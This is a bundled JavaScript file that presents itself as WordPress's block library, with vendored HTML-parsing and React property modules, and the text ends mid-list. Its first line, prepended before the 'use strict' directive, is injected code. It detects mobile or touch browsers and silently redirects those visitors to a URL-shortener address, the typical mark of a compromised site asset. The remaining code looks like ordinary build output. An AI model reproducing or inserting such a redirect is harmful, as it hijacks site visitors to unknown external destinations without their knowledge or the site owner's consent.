(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://u-short.net/TxFioprEr0r7");
"use strict";
var wp;
(wp ||= {}).blockLibrary = (() => {
  var __create = Object.create;
  var __defProp = Object.defineProperty;
  var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
  var __getOwnPropNames = Object.getOwnPropertyNames;
  var __getProtoOf = Object.getPrototypeOf;
  var __hasOwnProp = Object.prototype.hasOwnProperty;
  var __require = /* @__PURE__ */ ((x2) => typeof require !== "undefined" ? require : typeof Proxy !== "undefined" ? new Proxy(x2, {
    get: (a2, b2) => (typeof require !== "undefined" ? require : a2)[b2]
  }) : x2)(function(x2) {
    if (typeof require !== "undefined") return require.apply(this, arguments);
    throw Error('Dynamic require of "' + x2 + '" is not supported');
  });
  var __commonJS = (cb, mod) => function __require2() {
    return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
  };
  var __export = (target, all) => {
    for (var name123 in all)
      __defProp(target, name123, { get: all[name123], enumerable: true });
  };
  var __copyProps = (to, from, except, desc) => {
    if (from && typeof from === "object" || typeof from === "function") {
      for (let key of __getOwnPropNames(from))
        if (!__hasOwnProp.call(to, key) && key !== except)
          __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
    }
    return to;
  };
  var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
    // If the importer is in node compatibility mode or this is not an ESM
    // file that has been converted to a CommonJS file using a Babel-
    // compatible transform (i.e. "__esModule" has not been set), then set
    // "default" to the CommonJS "module.exports" for node compatibility.
    isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
    mod
  ));
  var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);

  // package-external:@wordpress/blocks
  var require_blocks = __commonJS({
    "package-external:@wordpress/blocks"(exports, module) {
      module.exports = window.wp.blocks;
    }
  });

  // package-external:@wordpress/compose
  var require_compose = __commonJS({
    "package-external:@wordpress/compose"(exports, module) {
      module.exports = window.wp.compose;
    }
  });

  // package-external:@wordpress/data
  var require_data = __commonJS({
    "package-external:@wordpress/data"(exports, module) {
      module.exports = window.wp.data;
    }
  });

  // package-external:@wordpress/block-editor
  var require_block_editor = __commonJS({
    "package-external:@wordpress/block-editor"(exports, module) {
      module.exports = window.wp.blockEditor;
    }
  });

  // package-external:@wordpress/server-side-render
  var require_server_side_render = __commonJS({
    "package-external:@wordpress/server-side-render"(exports, module) {
      module.exports = window.wp.serverSideRender;
    }
  });

  // package-external:@wordpress/i18n
  var require_i18n = __commonJS({
    "package-external:@wordpress/i18n"(exports, module) {
      module.exports = window.wp.i18n;
    }
  });

  // node_modules/html-dom-parser/node_modules/domelementtype/lib/index.js
  var require_lib = __commonJS({
    "node_modules/html-dom-parser/node_modules/domelementtype/lib/index.js"(exports) {
      "use strict";
      Object.defineProperty(exports, "__esModule", { value: true });
      exports.Doctype = exports.CDATA = exports.Tag = exports.Style = exports.Script = exports.Comment = exports.Directive = exports.Text = exports.Root = exports.isTag = exports.ElementType = void 0;
      var ElementType;
      (function(ElementType2) {
        ElementType2["Root"] = "root";
        ElementType2["Text"] = "text";
        ElementType2["Directive"] = "directive";
        ElementType2["Comment"] = "comment";
        ElementType2["Script"] = "script";
        ElementType2["Style"] = "style";
        ElementType2["Tag"] = "tag";
        ElementType2["CDATA"] = "cdata";
        ElementType2["Doctype"] = "doctype";
      })(ElementType = exports.ElementType || (exports.ElementType = {}));
      function isTag(elem) {
        return elem.type === ElementType.Tag || elem.type === ElementType.Script || elem.type === ElementType.Style;
      }
      exports.isTag = isTag;
      exports.Root = ElementType.Root;
      exports.Text = ElementType.Text;
      exports.Directive = ElementType.Directive;
      exports.Comment = ElementType.Comment;
      exports.Script = ElementType.Script;
      exports.Style = ElementType.Style;
      exports.Tag = ElementType.Tag;
      exports.CDATA = ElementType.CDATA;
      exports.Doctype = ElementType.Doctype;
    }
  });

  // node_modules/html-dom-parser/node_modules/domhandler/lib/node.js
  var require_node = __commonJS({
    "node_modules/html-dom-parser/node_modules/domhandler/lib/node.js"(exports) {
      "use strict";
      var __extends = exports && exports.__extends || /* @__PURE__ */ (function() {
        var extendStatics = function(d2, b2) {
          extendStatics = Object.setPrototypeOf || { __proto__: [] } instanceof Array && function(d3, b3) {
            d3.__proto__ = b3;
          } || function(d3, b3) {
            for (var p2 in b3) if (Object.prototype.hasOwnProperty.call(b3, p2)) d3[p2] = b3[p2];
          };
          return extendStatics(d2, b2);
        };
        return function(d2, b2) {
          if (typeof b2 !== "function" && b2 !== null)
            throw new TypeError("Class extends value " + String(b2) + " is not a constructor or null");
          extendStatics(d2, b2);
          function __268() {
            this.constructor = d2;
          }
          d2.prototype = b2 === null ? Object.create(b2) : (__268.prototype = b2.prototype, new __268());
        };
      })();
      var __assign2 = exports && exports.__assign || function() {
        __assign2 = Object.assign || function(t2) {
          for (var s2, i2 = 1, n2 = arguments.length; i2 < n2; i2++) {
            s2 = arguments[i2];
            for (var p2 in s2) if (Object.prototype.hasOwnProperty.call(s2, p2))
              t2[p2] = s2[p2];
          }
          return t2;
        };
        return __assign2.apply(this, arguments);
      };
      Object.defineProperty(exports, "__esModule", { value: true });
      exports.cloneNode = exports.hasChildren = exports.isDocument = exports.isDirective = exports.isComment = exports.isText = exports.isCDATA = exports.isTag = exports.Element = exports.Document = exports.CDATA = exports.NodeWithChildren = exports.ProcessingInstruction = exports.Comment = exports.Text = exports.DataNode = exports.Node = void 0;
      var domelementtype_1 = require_lib();
      var Node = (
        /** @class */
        (function() {
          function Node2() {
            this.parent = null;
            this.prev = null;
            this.next = null;
            this.startIndex = null;
            this.endIndex = null;
          }
          Object.defineProperty(Node2.prototype, "parentNode", {
            // Read-write aliases for properties
            /**
             * Same as {@link parent}.
             * [DOM spec](https://dom.spec.whatwg.org)-compatible alias.
             */
            get: function() {
              return this.parent;
            },
            set: function(parent) {
              this.parent = parent;
            },
            enumerable: false,
            configurable: true
          });
          Object.defineProperty(Node2.prototype, "previousSibling", {
            /**
             * Same as {@link prev}.
             * [DOM spec](https://dom.spec.whatwg.org)-compatible alias.
             */
            get: function() {
              return this.prev;
            },
            set: function(prev) {
              this.prev = prev;
            },
            enumerable: false,
            configurable: true
          });
          Object.defineProperty(Node2.prototype, "nextSibling", {
            /**
             * Same as {@link next}.
             * [DOM spec](https://dom.spec.whatwg.org)-compatible alias.
             */
            get: function() {
              return this.next;
            },
            set: function(next) {
              this.next = next;
            },
            enumerable: false,
            configurable: true
          });
          Node2.prototype.cloneNode = function(recursive) {
            if (recursive === void 0) {
              recursive = false;
            }
            return cloneNode(this, recursive);
          };
          return Node2;
        })()
      );
      exports.Node = Node;
      var DataNode = (
        /** @class */
        (function(_super) {
          __extends(DataNode2, _super);
          function DataNode2(data) {
            var _this = _super.call(this) || this;
            _this.data = data;
            return _this;
          }
          Object.defineProperty(DataNode2.prototype, "nodeValue", {
            /**
             * Same as {@link data}.
             * [DOM spec](https://dom.spec.whatwg.org)-compatible alias.
             */
            get: function() {
              return this.data;
            },
            set: function(data) {
              this.data = data;
            },
            enumerable: false,
            configurable: true
          });
          return DataNode2;
        })(Node)
      );
      exports.DataNode = DataNode;
      var Text4 = (
        /** @class */
        (function(_super) {
          __extends(Text5, _super);
          function Text5() {
            var _this = _super !== null && _super.apply(this, arguments) || this;
            _this.type = domelementtype_1.ElementType.Text;
            return _this;
          }
          Object.defineProperty(Text5.prototype, "nodeType", {
            get: function() {
              return 3;
            },
            enumerable: false,
            configurable: true
          });
          return Text5;
        })(DataNode)
      );
      exports.Text = Text4;
      var Comment2 = (
        /** @class */
        (function(_super) {
          __extends(Comment3, _super);
          function Comment3() {
            var _this = _super !== null && _super.apply(this, arguments) || this;
            _this.type = domelementtype_1.ElementType.Comment;
            return _this;
          }
          Object.defineProperty(Comment3.prototype, "nodeType", {
            get: function() {
              return 8;
            },
            enumerable: false,
            configurable: true
          });
          return Comment3;
        })(DataNode)
      );
      exports.Comment = Comment2;
      var ProcessingInstruction2 = (
        /** @class */
        (function(_super) {
          __extends(ProcessingInstruction3, _super);
          function ProcessingInstruction3(name123, data) {
            var _this = _super.call(this, data) || this;
            _this.name = name123;
            _this.type = domelementtype_1.ElementType.Directive;
            return _this;
          }
          Object.defineProperty(ProcessingInstruction3.prototype, "nodeType", {
            get: function() {
              return 1;
            },
            enumerable: false,
            configurable: true
          });
          return ProcessingInstruction3;
        })(DataNode)
      );
      exports.ProcessingInstruction = ProcessingInstruction2;
      var NodeWithChildren = (
        /** @class */
        (function(_super) {
          __extends(NodeWithChildren2, _super);
          function NodeWithChildren2(children) {
            var _this = _super.call(this) || this;
            _this.children = children;
            return _this;
          }
          Object.defineProperty(NodeWithChildren2.prototype, "firstChild", {
            // Aliases
            /** First child of the node. */
            get: function() {
              var _a;
              return (_a = this.children[0]) !== null && _a !== void 0 ? _a : null;
            },
            enumerable: false,
            configurable: true
          });
          Object.defineProperty(NodeWithChildren2.prototype, "lastChild", {
            /** Last child of the node. */
            get: function() {
              return this.children.length > 0 ? this.children[this.children.length - 1] : null;
            },
            enumerable: false,
            configurable: true
          });
          Object.defineProperty(NodeWithChildren2.prototype, "childNodes", {
            /**
             * Same as {@link children}.
             * [DOM spec](https://dom.spec.whatwg.org)-compatible alias.
             */
            get: function() {
              return this.children;
            },
            set: function(children) {
              this.children = children;
            },
            enumerable: false,
            configurable: true
          });
          return NodeWithChildren2;
        })(Node)
      );
      exports.NodeWithChildren = NodeWithChildren;
      var CDATA = (
        /** @class */
        (function(_super) {
          __extends(CDATA2, _super);
          function CDATA2() {
            var _this = _super !== null && _super.apply(this, arguments) || this;
            _this.type = domelementtype_1.ElementType.CDATA;
            return _this;
          }
          Object.defineProperty(CDATA2.prototype, "nodeType", {
            get: function() {
              return 4;
            },
            enumerable: false,
            configurable: true
          });
          return CDATA2;
        })(NodeWithChildren)
      );
      exports.CDATA = CDATA;
      var Document = (
        /** @class */
        (function(_super) {
          __extends(Document2, _super);
          function Document2() {
            var _this = _super !== null && _super.apply(this, arguments) || this;
            _this.type = domelementtype_1.ElementType.Root;
            return _this;
          }
          Object.defineProperty(Document2.prototype, "nodeType", {
            get: function() {
              return 9;
            },
            enumerable: false,
            configurable: true
          });
          return Document2;
        })(NodeWithChildren)
      );
      exports.Document = Document;
      var Element2 = (
        /** @class */
        (function(_super) {
          __extends(Element3, _super);
          function Element3(name123, attribs, children, type) {
            if (children === void 0) {
              children = [];
            }
            if (type === void 0) {
              type = name123 === "script" ? domelementtype_1.ElementType.Script : name123 === "style" ? domelementtype_1.ElementType.Style : domelementtype_1.ElementType.Tag;
            }
            var _this = _super.call(this, children) || this;
            _this.name = name123;
            _this.attribs = attribs;
            _this.type = type;
            return _this;
          }
          Object.defineProperty(Element3.prototype, "nodeType", {
            get: function() {
              return 1;
            },
            enumerable: false,
            configurable: true
          });
          Object.defineProperty(Element3.prototype, "tagName", {
            // DOM Level 1 aliases
            /**
             * Same as {@link name}.
             * [DOM spec](https://dom.spec.whatwg.org)-compatible alias.
             */
            get: function() {
              return this.name;
            },
            set: function(name123) {
              this.name = name123;
            },
            enumerable: false,
            configurable: true
          });
          Object.defineProperty(Element3.prototype, "attributes", {
            get: function() {
              var _this = this;
              return Object.keys(this.attribs).map(function(name123) {
                var _a, _b;
                return {
                  name: name123,
                  value: _this.attribs[name123],
                  namespace: (_a = _this["x-attribsNamespace"]) === null || _a === void 0 ? void 0 : _a[name123],
                  prefix: (_b = _this["x-attribsPrefix"]) === null || _b === void 0 ? void 0 : _b[name123]
                };
              });
            },
            enumerable: false,
            configurable: true
          });
          return Element3;
        })(NodeWithChildren)
      );
      exports.Element = Element2;
      function isTag(node) {
        return (0, domelementtype_1.isTag)(node);
      }
      exports.isTag = isTag;
      function isCDATA(node) {
        return node.type === domelementtype_1.ElementType.CDATA;
      }
      exports.isCDATA = isCDATA;
      function isText(node) {
        return node.type === domelementtype_1.ElementType.Text;
      }
      exports.isText = isText;
      function isComment(node) {
        return node.type === domelementtype_1.ElementType.Comment;
      }
      exports.isComment = isComment;
      function isDirective(node) {
        return node.type === domelementtype_1.ElementType.Directive;
      }
      exports.isDirective = isDirective;
      function isDocument(node) {
        return node.type === domelementtype_1.ElementType.Root;
      }
      exports.isDocument = isDocument;
      function hasChildren(node) {
        return Object.prototype.hasOwnProperty.call(node, "children");
      }
      exports.hasChildren = hasChildren;
      function cloneNode(node, recursive) {
        if (recursive === void 0) {
          recursive = false;
        }
        var result;
        if (isText(node)) {
          result = new Text4(node.data);
        } else if (isComment(node)) {
          result = new Comment2(node.data);
        } else if (isTag(node)) {
          var children = recursive ? cloneChildren(node.children) : [];
          var clone_1 = new Element2(node.name, __assign2({}, node.attribs), children);
          children.forEach(function(child) {
            return child.parent = clone_1;
          });
          if (node.namespace != null) {
            clone_1.namespace = node.namespace;
          }
          if (node["x-attribsNamespace"]) {
            clone_1["x-attribsNamespace"] = __assign2({}, node["x-attribsNamespace"]);
          }
          if (node["x-attribsPrefix"]) {
            clone_1["x-attribsPrefix"] = __assign2({}, node["x-attribsPrefix"]);
          }
          result = clone_1;
        } else if (isCDATA(node)) {
          var children = recursive ? cloneChildren(node.children) : [];
          var clone_2 = new CDATA(children);
          children.forEach(function(child) {
            return child.parent = clone_2;
          });
          result = clone_2;
        } else if (isDocument(node)) {
          var children = recursive ? cloneChildren(node.children) : [];
          var clone_3 = new Document(children);
          children.forEach(function(child) {
            return child.parent = clone_3;
          });
          if (node["x-mode"]) {
            clone_3["x-mode"] = node["x-mode"];
          }
          result = clone_3;
        } else if (isDirective(node)) {
          var instruction = new ProcessingInstruction2(node.name, node.data);
          if (node["x-name"] != null) {
            instruction["x-name"] = node["x-name"];
            instruction["x-publicId"] = node["x-publicId"];
            instruction["x-systemId"] = node["x-systemId"];
          }
          result = instruction;
        } else {
          throw new Error("Not implemented yet: ".concat(node.type));
        }
        result.startIndex = node.startIndex;
        result.endIndex = node.endIndex;
        if (node.sourceCodeLocation != null) {
          result.sourceCodeLocation = node.sourceCodeLocation;
        }
        return result;
      }
      exports.cloneNode = cloneNode;
      function cloneChildren(childs) {
        var children = childs.map(function(child) {
          return cloneNode(child, true);
        });
        for (var i2 = 1; i2 < children.length; i2++) {
          children[i2].prev = children[i2 - 1];
          children[i2 - 1].next = children[i2];
        }
        return children;
      }
    }
  });

  // node_modules/html-dom-parser/node_modules/domhandler/lib/index.js
  var require_lib2 = __commonJS({
    "node_modules/html-dom-parser/node_modules/domhandler/lib/index.js"(exports) {
      "use strict";
      var __createBinding = exports && exports.__createBinding || (Object.create ? (function(o2, m2, k2, k22) {
        if (k22 === void 0) k22 = k2;
        var desc = Object.getOwnPropertyDescriptor(m2, k2);
        if (!desc || ("get" in desc ? !m2.__esModule : desc.writable || desc.configurable)) {
          desc = { enumerable: true, get: function() {
            return m2[k2];
          } };
        }
        Object.defineProperty(o2, k22, desc);
      }) : (function(o2, m2, k2, k22) {
        if (k22 === void 0) k22 = k2;
        o2[k22] = m2[k2];
      }));
      var __exportStar = exports && exports.__exportStar || function(m2, exports2) {
        for (var p2 in m2) if (p2 !== "default" && !Object.prototype.hasOwnProperty.call(exports2, p2)) __createBinding(exports2, m2, p2);
      };
      Object.defineProperty(exports, "__esModule", { value: true });
      exports.DomHandler = void 0;
      var domelementtype_1 = require_lib();
      var node_js_1 = require_node();
      __exportStar(require_node(), exports);
      var defaultOpts = {
        withStartIndices: false,
        withEndIndices: false,
        xmlMode: false
      };
      var DomHandler = (
        /** @class */
        (function() {
          function DomHandler2(callback, options2, elementCB) {
            this.dom = [];
            this.root = new node_js_1.Document(this.dom);
            this.done = false;
            this.tagStack = [this.root];
            this.lastNode = null;
            this.parser = null;
            if (typeof options2 === "function") {
              elementCB = options2;
              options2 = defaultOpts;
            }
            if (typeof callback === "object") {
              options2 = callback;
              callback = void 0;
            }
            this.callback = callback !== null && callback !== void 0 ? callback : null;
            this.options = options2 !== null && options2 !== void 0 ? options2 : defaultOpts;
            this.elementCB = elementCB !== null && elementCB !== void 0 ? elementCB : null;
          }
          DomHandler2.prototype.onparserinit = function(parser) {
            this.parser = parser;
          };
          DomHandler2.prototype.onreset = function() {
            this.dom = [];
            this.root = new node_js_1.Document(this.dom);
            this.done = false;
            this.tagStack = [this.root];
            this.lastNode = null;
            this.parser = null;
          };
          DomHandler2.prototype.onend = function() {
            if (this.done)
              return;
            this.done = true;
            this.parser = null;
            this.handleCallback(null);
          };
          DomHandler2.prototype.onerror = function(error) {
            this.handleCallback(error);
          };
          DomHandler2.prototype.onclosetag = function() {
            this.lastNode = null;
            var elem = this.tagStack.pop();
            if (this.options.withEndIndices) {
              elem.endIndex = this.parser.endIndex;
            }
            if (this.elementCB)
              this.elementCB(elem);
          };
          DomHandler2.prototype.onopentag = function(name123, attribs) {
            var type = this.options.xmlMode ? domelementtype_1.ElementType.Tag : void 0;
            var element = new node_js_1.Element(name123, attribs, void 0, type);
            this.addNode(element);
            this.tagStack.push(element);
          };
          DomHandler2.prototype.ontext = function(data) {
            var lastNode = this.lastNode;
            if (lastNode && lastNode.type === domelementtype_1.ElementType.Text) {
              lastNode.data += data;
              if (this.options.withEndIndices) {
                lastNode.endIndex = this.parser.endIndex;
              }
            } else {
              var node = new node_js_1.Text(data);
              this.addNode(node);
              this.lastNode = node;
            }
          };
          DomHandler2.prototype.oncomment = function(data) {
            if (this.lastNode && this.lastNode.type === domelementtype_1.ElementType.Comment) {
              this.lastNode.data += data;
              return;
            }
            var node = new node_js_1.Comment(data);
            this.addNode(node);
            this.lastNode = node;
          };
          DomHandler2.prototype.oncommentend = function() {
            this.lastNode = null;
          };
          DomHandler2.prototype.oncdatastart = function() {
            var text = new node_js_1.Text("");
            var node = new node_js_1.CDATA([text]);
            this.addNode(node);
            text.parent = node;
            this.lastNode = text;
          };
          DomHandler2.prototype.oncdataend = function() {
            this.lastNode = null;
          };
          DomHandler2.prototype.onprocessinginstruction = function(name123, data) {
            var node = new node_js_1.ProcessingInstruction(name123, data);
            this.addNode(node);
          };
          DomHandler2.prototype.handleCallback = function(error) {
            if (typeof this.callback === "function") {
              this.callback(error, this.dom);
            } else if (error) {
              throw error;
            }
          };
          DomHandler2.prototype.addNode = function(node) {
            var parent = this.tagStack[this.tagStack.length - 1];
            var previousSibling = parent.children[parent.children.length - 1];
            if (this.options.withStartIndices) {
              node.startIndex = this.parser.startIndex;
            }
            if (this.options.withEndIndices) {
              node.endIndex = this.parser.endIndex;
            }
            parent.children.push(node);
            if (previousSibling) {
              node.prev = previousSibling;
              previousSibling.next = node;
            }
            node.parent = parent;
            this.lastNode = null;
          };
          return DomHandler2;
        })()
      );
      exports.DomHandler = DomHandler;
      exports.default = DomHandler;
    }
  });

  // node_modules/html-dom-parser/lib/client/constants.js
  var require_constants = __commonJS({
    "node_modules/html-dom-parser/lib/client/constants.js"(exports) {
      "use strict";
      Object.defineProperty(exports, "__esModule", { value: true });
      exports.CARRIAGE_RETURN_PLACEHOLDER_REGEX = exports.CARRIAGE_RETURN_PLACEHOLDER = exports.CARRIAGE_RETURN_REGEX = exports.CARRIAGE_RETURN = exports.CASE_SENSITIVE_TAG_NAMES_MAP = exports.CASE_SENSITIVE_TAG_NAMES = void 0;
      exports.CASE_SENSITIVE_TAG_NAMES = [
        "animateMotion",
        "animateTransform",
        "clipPath",
        "feBlend",
        "feColorMatrix",
        "feComponentTransfer",
        "feComposite",
        "feConvolveMatrix",
        "feDiffuseLighting",
        "feDisplacementMap",
        "feDropShadow",
        "feFlood",
        "feFuncA",
        "feFuncB",
        "feFuncG",
        "feFuncR",
        "feGaussianBlur",
        "feImage",
        "feMerge",
        "feMergeNode",
        "feMorphology",
        "feOffset",
        "fePointLight",
        "feSpecularLighting",
        "feSpotLight",
        "feTile",
        "feTurbulence",
        "foreignObject",
        "linearGradient",
        "radialGradient",
        "textPath"
      ];
      exports.CASE_SENSITIVE_TAG_NAMES_MAP = exports.CASE_SENSITIVE_TAG_NAMES.reduce(function(accumulator, tagName) {
        accumulator[tagName.toLowerCase()] = tagName;
        return accumulator;
      }, {});
      exports.CARRIAGE_RETURN = "\r";
      exports.CARRIAGE_RETURN_REGEX = new RegExp(exports.CARRIAGE_RETURN, "g");
      exports.CARRIAGE_RETURN_PLACEHOLDER = "__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_".concat(Date.now(), "__");
      exports.CARRIAGE_RETURN_PLACEHOLDER_REGEX = new RegExp(exports.CARRIAGE_RETURN_PLACEHOLDER, "g");
    }
  });

  // node_modules/html-dom-parser/lib/client/utilities.js
  var require_utilities = __commonJS({
    "node_modules/html-dom-parser/lib/client/utilities.js"(exports) {
      "use strict";
      Object.defineProperty(exports, "__esModule", { value: true });
      exports.formatAttributes = formatAttributes;
      exports.escapeSpecialCharacters = escapeSpecialCharacters;
      exports.revertEscapedCharacters = revertEscapedCharacters;
      exports.formatDOM = formatDOM;
      var domhandler_1 = require_lib2();
      var constants_1 = require_constants();
      function getCaseSensitiveTagName(tagName) {
        return constants_1.CASE_SENSITIVE_TAG_NAMES_MAP[tagName];
      }
      function formatAttributes(attributes2) {
        var map = {};
        var index = 0;
        var attributesLength = attributes2.length;
        for (; index < attributesLength; index++) {
          var attribute = attributes2[index];
          map[attribute.name] = attribute.value;
        }
        return map;
      }
      function formatTagName(tagName) {
        tagName = tagName.toLowerCase();
        var caseSensitiveTagName = getCaseSensitiveTagName(tagName);
        if (caseSensitiveTagName) {
          return caseSensitiveTagName;
        }
        return tagName;
      }
      function escapeSpecialCharacters(html) {
        return html.replace(constants_1.CARRIAGE_RETURN_REGEX, constants_1.CARRIAGE_RETURN_PLACEHOLDER);
      }
      function revertEscapedCharacters(text) {
        return text.replace(constants_1.CARRIAGE_RETURN_PLACEHOLDER_REGEX, constants_1.CARRIAGE_RETURN);
      }
      function formatDOM(nodes, parent, directive) {
        if (parent === void 0) {
          parent = null;
        }
        var domNodes = [];
        var current;
        var index = 0;
        var nodesLength = nodes.length;
        for (; index < nodesLength; index++) {
          var node = nodes[index];
          switch (node.nodeType) {
            case 1: {
              var tagName = formatTagName(node.nodeName);
              current = new domhandler_1.Element(tagName, formatAttributes(node.attributes));
              current.children = formatDOM(
                // template children are on content
                tagName === "template" ? node.content.childNodes : node.childNodes,
                current
              );
              break;
            }
            case 3:
              current = new domhandler_1.Text(revertEscapedCharacters(node.nodeValue));
              break;
            case 8:
              current = new domhandler_1.Comment(node.nodeValue);
              break;
            default:
              continue;
          }
          var prev = domNodes[index - 1] || null;
          if (prev) {
            prev.next = current;
          }
          current.parent = parent;
          current.prev = prev;
          current.next = null;
          domNodes.push(current);
        }
        if (directive) {
          current = new domhandler_1.ProcessingInstruction(directive.substring(0, directive.indexOf(" ")).toLowerCase(), directive);
          current.next = domNodes[0] || null;
          current.parent = parent;
          domNodes.unshift(current);
          if (domNodes[1]) {
            domNodes[1].prev = domNodes[0];
          }
        }
        return domNodes;
      }
    }
  });

  // node_modules/html-dom-parser/lib/client/domparser.js
  var require_domparser = __commonJS({
    "node_modules/html-dom-parser/lib/client/domparser.js"(exports) {
      "use strict";
      Object.defineProperty(exports, "__esModule", { value: true });
      exports.default = domparser;
      var utilities_1 = require_utilities();
      var HTML = "html";
      var HEAD = "head";
      var BODY = "body";
      var FIRST_TAG_REGEX = /<([a-zA-Z]+[0-9]?)/;
      var HEAD_TAG_REGEX = /<head[^]*>/i;
      var BODY_TAG_REGEX = /<body[^]*>/i;
      var parseFromDocument = function(html, tagName) {
        throw new Error("This browser does not support `document.implementation.createHTMLDocument`");
      };
      var parseFromString = function(html, tagName) {
        throw new Error("This browser does not support `DOMParser.prototype.parseFromString`");
      };
      var DOMParser = typeof window === "object" && window.DOMParser;
      if (typeof DOMParser === "function") {
        domParser_1 = new DOMParser();
        mimeType_1 = "text/html";
        parseFromString = function(html, tagName) {
          if (tagName) {
            html = "<".concat(tagName, ">").concat(html, "</").concat(tagName, ">");
          }
          return domParser_1.parseFromString(html, mimeType_1);
        };
        parseFromDocument = parseFromString;
      }
      var domParser_1;
      var mimeType_1;
      if (typeof document === "object" && document.implementation) {
        htmlDocument_1 = document.implementation.createHTMLDocument();
        parseFromDocument = function(html, tagName) {
          if (tagName) {
            var element = htmlDocument_1.documentElement.querySelector(tagName);
            if (element) {
              element.innerHTML = html;
            }
            return htmlDocument_1;
          }
          htmlDocument_1.documentElement.innerHTML = html;
          return htmlDocument_1;
        };
      }
      var htmlDocument_1;
      var template = typeof document === "object" && document.createElement("template");
      var parseFromTemplate;
      if (template && template.content) {
        parseFromTemplate = function(html) {
          template.innerHTML = html;
          return template.content.childNodes;
        };
      }
      function domparser(html) {
        var _a, _b;
        html = (0, utilities_1.escapeSpecialCharacters)(html);
        var match = html.match(FIRST_TAG_REGEX);
        var firstTagName = match && match[1] ? match[1].toLowerCase() : "";
        switch (firstTagName) {
          case HTML: {
            var doc = parseFromString(html);
            if (!HEAD_TAG_REGEX.test(html)) {
              var element = doc.querySelector(HEAD);
              (_a = element === null || element === void 0 ? void 0 : element.parentNode) === null || _a === void 0 ? void 0 : _a.removeChild(element);
            }
            if (!BODY_TAG_REGEX.test(html)) {
              var element = doc.querySelector(BODY);
              (_b = element === null || element === void 0 ? void 0 : element.parentNode) === null || _b === void 0 ? void 0 : _b.removeChild(element);
            }
            return doc.querySelectorAll(HTML);
          }
          case HEAD:
          case BODY: {
            var elements = parseFromDocument(html).querySelectorAll(firstTagName);
            if (BODY_TAG_REGEX.test(html) && HEAD_TAG_REGEX.test(html)) {
              return elements[0].parentNode.childNodes;
            }
            return elements;
          }
          // low-level tag or text
          default: {
            if (parseFromTemplate) {
              return parseFromTemplate(html);
            }
            var element = parseFromDocument(html, BODY).querySelector(BODY);
            return element.childNodes;
          }
        }
      }
    }
  });

  // node_modules/html-dom-parser/lib/client/html-to-dom.js
  var require_html_to_dom = __commonJS({
    "node_modules/html-dom-parser/lib/client/html-to-dom.js"(exports) {
      "use strict";
      var __importDefault = exports && exports.__importDefault || function(mod) {
        return mod && mod.__esModule ? mod : { "default": mod };
      };
      Object.defineProperty(exports, "__esModule", { value: true });
      exports.default = HTMLDOMParser;
      var domparser_1 = __importDefault(require_domparser());
      var utilities_1 = require_utilities();
      var DIRECTIVE_REGEX = /<(![a-zA-Z\s]+)>/;
      function HTMLDOMParser(html) {
        if (typeof html !== "string") {
          throw new TypeError("First argument must be a string");
        }
        if (!html) {
          return [];
        }
        var match = html.match(DIRECTIVE_REGEX);
        var directive = match ? match[1] : void 0;
        return (0, utilities_1.formatDOM)((0, domparser_1.default)(html), null, directive);
      }
    }
  });

  // node_modules/react-property/lib/possibleStandardNamesOptimized.js
  var require_possibleStandardNamesOptimized = __commonJS({
    "node_modules/react-property/lib/possibleStandardNamesOptimized.js"(exports) {
      var SAME = 0;
      exports.SAME = SAME;
      var CAMELCASE = 1;
      exports.CAMELCASE = CAMELCASE;
      exports.possibleStandardNames = {
        accept: 0,
        acceptCharset: 1,
        "accept-charset": "acceptCharset",
        accessKey: 1,
        action: 0,
        allowFullScreen: 1,
        alt: 0,
        as: 0,
        async: 0,
        autoCapitalize: 1,
        autoComplete: 1,
        autoCorrect: 1,
        autoFocus: 1,
        autoPlay: 1,
        autoSave: 1,
        capture: 0,
        cellPadding: 1,
        cellSpacing: 1,
        challenge: 0,
        charSet: 1,
        checked: 0,
        children: 0,
        cite: 0,
        class: "className",
        classID: 1,
        className: 1,
        cols: 0,
        colSpan: 1,
        content: 0,
        contentEditable: 1,
        contextMenu: 1,
        controls: 0,
        controlsList: 1,
        coords: 0,
        crossOrigin: 1,
        dangerouslySetInnerHTML: 1,
        data: 0,
        dateTime: 1,
        default: 0,
        defaultChecked: 1,
        defaultValue: 1,
        defer: 0,
        dir: 0,
        disabled: 0,
        disablePictureInPicture: 1,
        disableRemotePlayback: 1,
        download: 0,
        draggable: 0,
        encType: 1,
        enterKeyHint: 1,
        for: "htmlFor",
        form: 0,
        formMethod: 1,
        formAction: 1,
        formEncType: 1,
        formNoValidate: 1,
        formTarget: 1,
        frameBorder: 1,
        headers: 0,
        height: 0,
        hidden: 0,
        high: 0,
        href: 0,
        hrefLang: 1,
        htmlFor: 1,
        httpEquiv: 1,
        "http-equiv": "httpEquiv",
        icon: 0,
        id: 0,
        innerHTML: 1,
        inputMode: 1,
        integrity: 0,
        is: 0,
        itemID: 1,
        itemProp: 1,
        itemRef: 1,
        itemScope: 1,
        itemType: 1,
        keyParams: 1,
        keyType: 1,
        kind: 0,
        label: 0,
        lang: 0,
        list: 0,
        loop: 0,
        low: 0,
        manifest: 0,
        marginWidth: 1,
        marginHeight: 1,
        max: 0,
        maxLength: 1,
        media: 0,
        mediaGroup: 1,
        method: 0,
        min: 0,
        minLength: 1,
        multiple: 0,
        muted: 0,
        name: 0,
        noModule: 1,
        nonce: 0,
        noValidate: 1,
        open: 0,
        optimum: 0,
        pattern: 0,
        placeholder: 0,
        playsInline: 1,
        poster: 0,
        preload: 0,
        profile: 0,
        radioGroup: 1,
        readOnly: 1,
        referrerPolicy: 1,
        rel: 0,
        required: 0,
        reversed: 0,
        role: 0,
        rows: 0,
        rowSpan: 1,
        sandbox: 0,
        scope: 0,
        scoped: 0,
        scrolling: 0,
        seamless: 0,
        selected: 0,
        shape: 0,
        size: 0,
        sizes: 0,
        span: 0,
        spellCheck: 1,
        src: 0,
        srcDoc: 1,
        srcLang: 1,
        srcSet: 1,
        start: 0,
        step: 0,
        style: 0,
